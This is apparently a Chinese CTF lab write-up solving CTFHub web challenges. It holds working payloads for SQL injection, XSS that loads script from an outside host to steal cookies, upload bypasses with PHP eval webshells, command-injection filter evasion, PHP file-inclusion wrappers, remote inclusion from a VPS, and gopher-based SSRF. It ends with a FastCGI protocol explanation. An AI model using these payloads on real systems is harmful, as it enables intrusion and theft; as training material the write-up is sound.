bp抓包如下： burp抓包得到的数据发现没有Refer请求头，添加Refer请求头放进b.txt，并且打上*号 `sqlmap -r "a.txt" -p "Referer" –-level 3 --current-db 获取数据库：sqli 继续组合拳 sqlmap -r "a.txt" -p "Referer" –-level 3 -D sqli --tables sqlmap -r "a.txt" -p "Referer" –-level 3 -D sqli -T ejmqkamrvj --dump 过滤空格 sql中将空格过滤了 sqlmap -u "http://challenge-9cd745c60fc86aa1.sandbox.ctfhub.com:10800/?id=1" --current-db --tamper "space2comment.py" sqlmap -u "http://challenge-9cd745c60fc86aa1.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables --tamper "space2comment.py" sqlmap -u "http://challenge-9cd745c60fc86aa1.sandbox.ctfhub.com:10800/?id=1" -D sqli -T dcbawqkvpj --dump --tamper "space2comment.py" XSS ①黑客发送带有xss恶意脚本的链接给用户 ②用户点击了恶意链接，访问了目标服务器（正常的服务器） ③目标服务器（正常的服务器）将xss同正常的页面返回到用户的浏览器中 ④用户浏览器解析了网页中xss恶意代码，向恶意服务器（也就是这里我们搭建的xss平台）发起请求 ⑤黑客从自己搭建的恶意服务器中获取用户提交的信息和数据 反射型 XSS安全平台 (xssaq.com) 创建一个模块 然后再复制url，把它复制到第二个框框发送，在我们的xss平台的项目中就会显示刚刚的数据包的信息，在cookie中发现了flag 存储型 用上面同样的方法，同样的恶意代码,这里是传入服务器，并存储在那里,点击这个恶意链接时就会发送请求给恶意服务器，从而获得请求的信息和数据（里面藏有flag） 区别于前面反射型xss的是，他建立恶意连接是在于每一次都要发送含恶意代码，而这个存储xss不需要，一旦发送过一次，以后每次访问它时，都会含有恶意代码 DOM反射 环境如下： 继续插入恶意代码 DOM跳转 环境如下： 分析一下，代码意思是 从当前页面的URL中获取查询字符串（URL的get参数），如果参数名为"jumpto"，则将页面重定向到参数值所指定的URL var target = location.search.split("=") //以等号分割成两份，一份是参数名，另一份是参数的值（可利用） if (target[0].slice(1) == "jumpto") { //其中target[0].slice(1)是指去掉?后面的参数名 location.href = target[1]; //如果参数名相等，就location.href（表示页面跳转）到target[1]，也就是参数的值 } 构造： http://challenge-bd9c6ffb4b0191e3.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//uj.ci/gkx") 空格过滤 环境如下： 恶意代码里的空格被替换掉了，可以用用/**/绕过 代码如下： <sCRiPt/**/sRC=//uj.ci/gkx> 操作得到flag 过滤关键词 过滤了script 大小写混拼试一试，就过了 文件上传 无验证 环境如下： 新建一个php文件 pass是密码,可以自定义 上传成功，路径如下： 发现直接访问不报错 打开蚁剑后右键添加数据，然后在url中输入访问这个文件所在位置的url，在密码上面输入pass（这里输入pass即可） 点击html文件夹查看： 发现flag 前端验证 环境如下： 查看源码得知在上题的基础上增加了文件类型验证 取消对该网站的js使用权 上传成功 继续获得flag .htaccess .htaccess文件(或者"分布式配置文件"）提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。 概述来说，htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 简单来说，就是我上传了一个.htaccess文件到服务器，那么服务器之后就会将特定格式的文件以php格式解析。 这里先写一个.htaaccess文件 方法一 SetHandler application/x-httpd-php //所有的文件当做php文件来解析 方法二 AddType application/x-httpd-php .png //.png文件当作php文件解析 上传成功 将pass.php复制并重命名为pass.png 接着继续上传 继续得到flag MIME验证 MIME类型校验就是我们在上传文件到服务端的时候，服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测，如果是白名单所允许的，则可以正常上传，否则上传失败。 上传一个pass.php使用bp抓包 然后修改 Content-Type为image/jpeg 上传成功： 找到flag 00截断 php 版本 <5.3.4 ，5.3.4 以上版本已修复该漏洞。 分析网页源代码可以看到，这段代码检查是否有提交的文件，如果用户点击了 Submit 按钮，那么将获取到上传的文件名，将用户上传的文件名与白名单中的文件（jpg、png、gif）进行比较，并生一个相同扩展名的随机文件名称。 上传pass.php使用bp抓包的到 修改文件名 发送成功，进行路径访问 Q:什么是00截断? A:信息安全中， 00截断 是针对 Web 应用程序的攻击技术。其英文名称 Null Byte 空字节，也称为空字节注入。攻击者在 URL 或文件名中插入一个空字节（ASCII码为00），用来截断文件扩展名或路径信息，达到绕过一些安全机制的目的。这种攻击方式通常是程序员开发过程中没有对输入数据进行过滤和验证。攻击者可以利用这种漏洞来执行恶意代码、窃取敏感信息等。 这里会访问到 shell.png 文件夹中 http://xxx.ctfhub.com:10800/?filename=shell.png //?filename 这里会访问到 shell.php 文件夹中 http://xxx.ctfhub.com:10800/filename=shell.php%00shell.png 双写后缀 用于只将文件后缀名，例如"php"字符串过滤的场合； 例如:上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】，那么过滤了第一个"php"字符串"后，开头的'p'和结尾的'hp'就组合又形成了【123.php】。 环境如下： 进行后缀修改重发 然后上传成功 文件头检测 环境如下： 修改Content-type为image/jpg 那么我们在头文件处增加GIF89a即可，当作gif文件即可绕过 RCE eval执行 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> PHP代码显示，要求将命令赋值给cmd然后执行 先查看一下根目录文件 /?cmd=system("ls"); ！切记最后的分号不可省略！ 没有需要的文件 看看上一级的文件夹 /?cmd=system("ls /"); ！切记最后的分号不可省略！ 打开flag文件发现FLAG /?cmd=system("cat /flag_1171"); ！切记最后的分号不可省略！ 执行一下代码试试： 文件包含 环境代码如下： <?php error\_reporting(0); if (isset(\$\_GET['file'])) { if (!strpos(\$\_GET["file"], "flag")) { include \$\_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight\_file(\_\_FILE\_\_); } ?> i have a shell, how to use it ? shell代码： <?php eval($_REQUEST['ctfhub']);?> 这里有一个strpos(string,find,start)函数 意思在string字符串中找find的位置,start是查找的开始位置 那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"] 否则就输出Hacker。 再看一眼shell 是将ctfhub传的参数用php执行 题目的目的也是让我们执行shell木马那么我们就输入 ?file=shell.txt shell中要传的参数为ctfhub=system("ls"); php://input 代码如下： 我们需要使用php://input来构造发送的指令 查看phpinfo，找到一下字段 证明是可以使用php://input 使用HackBar 方法：POST 目标：/?file=php://input Body：<?php system("ls /"); ?> 得到flag data://text/plain ?a=data://text/plain,I want flag 命令执行如下： <?php system('cat /flag');?> 封装为：data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg== php://filter 环境如下： 试了试 php://input 发现用不了。 应该是条件不允许： 然后，题目叫做读取源码，所以想到可以使用 php://filter 。然后构造 url http://challenge-948e58fa50c767e6.sandbox.ctfhub.com:10080/?file=php://filter/resource=/flag php://filter//read=convert.base64-encode/resource=flag.php 得到flag 远程包含 远程文件包含漏洞 在PHP的配置文件php.ini里将allow\_url\_fopen和 allow\_url\_include 设置为ON，include/require等包含函数可以加载远程文件，如果远程文件没经过严格的过滤，导致了执行恶意文件的代码，这就是远程文件包含漏洞。 方法一 直接利用php://input进行命令执行 方法二 http://challenge-688a4674920fa2f5.sandbox.ctfhub.com:10800/?file=http://VPS:8000/payload/shell.txt 命令注入 环境如下： 因为没有任何的过滤，那么我们可以直接使用分号(;)闭合前面的语句，执行ls命令 输入：127.0.0.1;ls 得到 查看这个php得到flag 过滤cat 过滤了cat命令之后，你还有什么方法能读到 Flag? 环境源代码如下： 一、解题思路 当cat被过滤后,可以使用一下命令进行读取文件的内容 (1)more:一页一页的显示的显示档案内容 (2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器，这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体的内容 nl 也可以 cmd=echo exec("nl /f*"); 直接使用分号(;)代替回车，执行ls命令 可以看到flag_124552338228659.php文件，那么我们可以直接使用cat进行读取 cat被过滤了，那么使用less或more试试 过滤空格 空格被过滤了，那么使用<或\${IFS}试试 当空格被过滤后,可以使用以下命令进行读取文件的内容 < <> >重定向符 %09(需要php环境) \${IFS} \$IFS\$9 {cat,flag.php} //用逗号实现了空格功能 %20 http://challenge-0e4d747001ac80fd.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat${IFS}flag_193864456070.php 过滤目录分隔符 方法一： 在linux的系统环境变量中${PATH:0:1}代替/ http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1} 方法二： 127.0.0.1;cd flag_is_here;cat flag_245143085316731.php 得到flag： 过滤运算符 输入命令测试得到flag： 经过测试，过滤了管道符(|),直接使用逗号(;)分隔 方法二http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag\_7666637111301.php 使用base64加密这个文件 综合过滤练习 过滤了大把东西 命令分隔符的绕过姿势 ; %0a %0d & http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php 用%0a代表； 用${IFS}代表空格 用\防止flag被过滤：fla\g 方法二： 无回显RCE 利用linux命令tee可以绕过无回显RCE 题目如下： <?php highlight_file(__FILE__); if(isset($_GET['url'])) { $url=$_GET['url']; if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) { echo "Sorry,you can't use this."; } else { echo "Can you see anything?"; exec($url); } } 从上到下分析 先是一个正则匹配,再到一个exec执行命令的函数 exec函数是一个PHP内置的外部命令执行程序。它可以在服务器上执行任何可执行文件或命令，并在执行过程中返回输出。 这里很明显是waf绕过命令执行，但是在尝试执行命令后没有回显并出现Can you see anything? 这就明显是无回显RCE,先执行timeup;sleep 3试试看 发现延迟了，说明就是没有回显 这里用一个linux的一个命令tee tee命令的功能是用于读取标准输入的数据，将其内容转交到标准输出设备中，同时保存成文件。 tee命令 – 读取标准输入的数据 – Linux命令大全(手册) (linuxcool.com) 利用这个命令让执行后的内容存到一个文件下然后去访问这个文件，从而实现间接的命令执行 先查看一下目录再利用管道符连接 ?url=l\s / | tee a.txt 这里要注意格式,ls后一定要加/ 不然返回的是刚刚存入的文件 发现flllllaaaaaaggggggg 利用同样的方式读取flag即可 这里绕过了cat可以使用ca\t nl sort tac tail等代替读取,另外因为过滤la所以是flllll\aaaaaaggggggg tail /flllll\aaaaaaggggggg | tee a.txt 小结 /?cmd=system("ls"); /?cmd=system("cat /f*"); <?php eval(\$\_REQUEST['ctfhub']);?> ?a=data://text/plain,I want flag php://filter/resource=/flag php://filter//read=convert.base64-encode/resource=flag.php php://filter//read=convert.base64-encode/resource=/var/www/html/flag.php cat (1)more:一页一页的显示的显示档案内容 (2)less:与more类似 (3)head:查看头几行 (4)tac:从最后一行开始显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器，这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体的内容 回车 使用分号 ; 空格 < <> >重定向符 %09(需要php环境) \${IFS} \$IFS\$9 {cat,flag.php} //用逗号实现了空格功能 %20 %a0 表示非断行空格字符 分隔符 ${PATH:0:1} 运算符 过滤了管道符(|),直接使用逗号(;)分隔 _下划线 [ (空格) + . 这四个都可以被处理为_ 其他 用%0a代表； 用\防止flag被过滤：fla\g SSRF 1.什么是SSRF SSRF(Server-Side Request Forgery：服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务，当作跳板进行攻击） 2.SSRF产生的原因 SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。 如：从指定URL地址获取网页文本内容，加载指定地址的图片，下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。 3.利用SSRF可以实现的攻击 可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner 信息 攻击运行在内网或本地的应用程序 对内网 WEB 应用进行指纹识别，通过访问默认文件实现(如：readme文件) 攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击(如：Struts2，sqli) 下载内网资源(如：利用file协议读取本地文件等) 进行跳板 无视cdn 利用Redis未授权访问，HTTP CRLF注入实现getshell 内网访问 环境如下： 直接得到flag 伪协议读取文件 伪协议：事实上是其支持的协议与封装协议。而其支持的部分协议有： file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) 网站的目录一般都在/var/www/html/，我们由此构造payload ?url=file:///var/www/html/flag.php 端口扫描 方法一：bp爆破 方法二： import url = 'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000' for index in range(8000, 9001): url_1 = f'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}' res = requests.get(url_1) print(index, res.text) POST请求 302跳转的302是http状态码 表示请求的网页自请求的网页移动到了新的位置，搜索引擎索引中保存原来的URL 这里可以通过访问302.php，并且传参gopher来伪造本地访问 Gopher 协议是 HTTP 协议出现之前，在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大，Gopher协议已经慢慢的淡出了我们的视线，但是Gopher协议很多组件都支持并且可以做很多事，在SSRF中，Gopher协议 可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。 那么Gopher协议需要如何构造妮？ 其实这个协议和http协议很类似，只不过gopher协议没有默认端口，需要特殊指定，而且需要指定POST方法，回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码 我们来看看Gopher协议的基本协议格式 gopher://:/_后接TCP数据流 这里直接写伪造的gopher协议 POST Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d93819c4c1a18dc606dc5c6486f77227 这里通过gopher协议把key写入，并且直接访问flag.php 这里的步骤就是 1.先访问本地的127.0.0.1/flag.php,查看源代码，发现了只能本地访问，并且有key 在向服务器发送请求时，首先浏览器会进行一次 URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次 URL解码。 所以我们需要对构造的请求包进行两次 URL编码： 将构造好的请求包进行第一次 URL编码： POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded key=677971a3731a5a50fd19e38d078e217b 第一次： 第二次： 构造如下： challenge-b43a6f9cee292849.sandbox.ctfhub.com:10800/index.php/?url=gopher%3A//127.0.0.1%3A80/\_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D677971a3731a5a50fd19e38d078e217b 上传文件 这次需要上传一个文件到flag.php了. 其通过 GET 方式传递了参数url，依照之前题目，尝试访问?url=127.0.0.1/flag.php 提示需要上传 Webshell，只有选择文件功能，并没有提交按钮。 使用file协议读取flag.php的源码url=file:///var/www/html/flag.php 在form表单中写入提交按钮： 只允许从本地访问，重新上传文件，并使用BurpSuite抓取数据包： 获取到请求头： POST /flag.php HTTP/1.1 Host: challenge-348faee2117bf171.sandbox.ctfhub.com:10800 Content-Length: 312 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryw0WARmXseOzYYSJv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryw0WARmXseOzYYSJv Content-Disposition: form-data; name="file"; filename="pass.png" Content-Type: image/png <?php @eval($_POST["pass"]);?> ------WebKitFormBoundaryw0WARmXseOzYYSJv Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryw0WARmXseOzYYSJv-- 第一次编码： POST%20/flag.php%20HTTP/1.1%0AHost:%20challenge-348faee2117bf171.sandbox.ctfhub.com:10800%0AContent-Length:%20312%0ACache-Control:%20max-age=0%0AUpgrade-Insecure-Requests:%201%0AOrigin:%20http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800%0AContent-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundaryw0WARmXseOzYYSJv%0AUser-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/122.0.6261.57%20Safari/537.36%0AAccept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%0AReferer:%20http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php%0AAccept-Encoding:%20gzip,%20deflate,%20br%0AAccept-Language:%20zh-CN,zh;q=0.9%0AConnection:%20close%0A%0A------WebKitFormBoundaryw0WARmXseOzYYSJv%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%22pass.png%22%0AContent-Type:%20image/png%0A%0A%3C?php%20@eval($_POST%5B%22pass%22%5D);?%3E%0A%0A------WebKitFormBoundaryw0WARmXseOzYYSJv%0AContent-Disposition:%20form-data;%20name=%22submit%22%0A%0A%E6%8F%90%E4%BA%A4%0A------WebKitFormBoundaryw0WARmXseOzYYSJv-- 与之前相同，将第一次URL编码后的数据中%0A替换为%0D%0A，并进行二次URL编码： 替换后： POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20challenge-348faee2117bf171.sandbox.ctfhub.com:10800%0D%0AContent-Length:%20312%0D%0ACache-Control:%20max-age=0%0D%0AUpgrade-Insecure-Requests:%201%0D%0AOrigin:%20http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800%0D%0AContent-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundaryw0WARmXseOzYYSJv%0D%0AUser-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/122.0.6261.57%20Safari/537.36%0D%0AAccept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%0D%0AReferer:%20http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php%0D%0AAccept-Encoding:%20gzip,%20deflate,%20br%0D%0AAccept-Language:%20zh-CN,zh;q=0.9%0D%0AConnection:%20close%0D%0A%0D%0A------WebKitFormBoundaryw0WARmXseOzYYSJv%0D%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%22pass.png%22%0D%0AContent-Type:%20image/png%0D%0A%0D%0A%3C?php%20@eval($_POST%5B%22pass%22%5D);?%3E%0D%0A%0D%0A------WebKitFormBoundaryw0WARmXseOzYYSJv%0D%0AContent-Disposition:%20form-data;%20name=%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundaryw0WARmXseOzYYSJv-- 二次编码后： POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-348faee2117bf171.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520312%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/122.0.6261.57%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522pass.png%2522%250D%250AContent-Type:%2520image/png%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522pass%2522%255D);?%253E%250D%250A%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv-- 构造Payload： ?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-348faee2117bf171.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520312%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/122.0.6261.57%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-348faee2117bf171.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522pass.png%2522%250D%250AContent-Type:%2520image/png%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522pass%2522%255D);?%253E%250D%250A%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundaryw0WARmXseOzYYSJv-- 得到flag FastCGI协议 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助 Fastcgi Record Fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。 HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。 类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。 和HTTP头不同，record的头固定8个字节，body是由头中的contentLength指定，其结构如下： typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record; 头由8个uchar类型的变量组成，每个变量1字节。其中，requestId占两个字节，一个唯一的标志id，以避免多个请求之间的影响；contentLength占两个字节，表示body的大小。 语言端解析了fastcgi头以后，拿到contentLength，然后再在TCP流里读取大小等于contentLength的数据，这就是body体。 Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。 可见，一个fastcgi record结构最大支持的body大小是2^16，也就是65536字节。 Fastcgi Type 刚才我介绍了fastcgi一个record中各个结构的含义，其中第二个字节type我没详说。 type就是指定该record的作用。因为fastcgi一个record的大小是有限的，作用也是单一的，所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用，用requestId作为同一次请求的id。 也就是说，每次请求，会有多个record，他们的requestId是相同的。 借用该文章中的一个表格，列出最主要的几种type： 看了这个表格就很清楚了，服务器中间件和后端语言通信，第一个数据包就是type为1的record，后续互相交流，发送type为4、5、6、7的record，结束时发送type为2、3的record。 当后端语言接收到一个type为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下： typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44; 这其实是4个结构，至于用哪个结构，有如下规则： key、value均小于128字节，用FCGI_NameValuePair11 key大于128字节，value小于128字节，用FCGI_NameValuePair41 key小于128字节，value大于128字节，用FCGI_NameValuePair14 key、value均大于128字节，用FCGI_NameValuePair44 为什么我只介绍type为4的record？因为环境变量在后面PHP-FPM里有重要作用，之后写代码也会写到这个结构。type的其他情况，大家可以自己翻文档理解理解。 PHP-FPM（FastCGI进程管理器） 那么，PHP-FPM又是什么东西？ FPM其实是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁？其实就是传给FPM。 FPM按照fastcgi的协议将TCP流解析成真正的数据。 举个例子，用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对： { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' } 这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。 PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php。 Nginx（IIS7）解析漏洞 Nginx和IIS7曾经出现过一个PHP相关的解析漏洞（测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability），该漏洞现象是，在用户访问http://127.0.0.1/favicon.ico/.php时，访问到的文件是favicon.ico，但却按照.php后缀解析了。 用户请求http://127.0.0.1/favicon.ico/.php，nginx将会发送如下环境变量到fpm里： { ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ... } 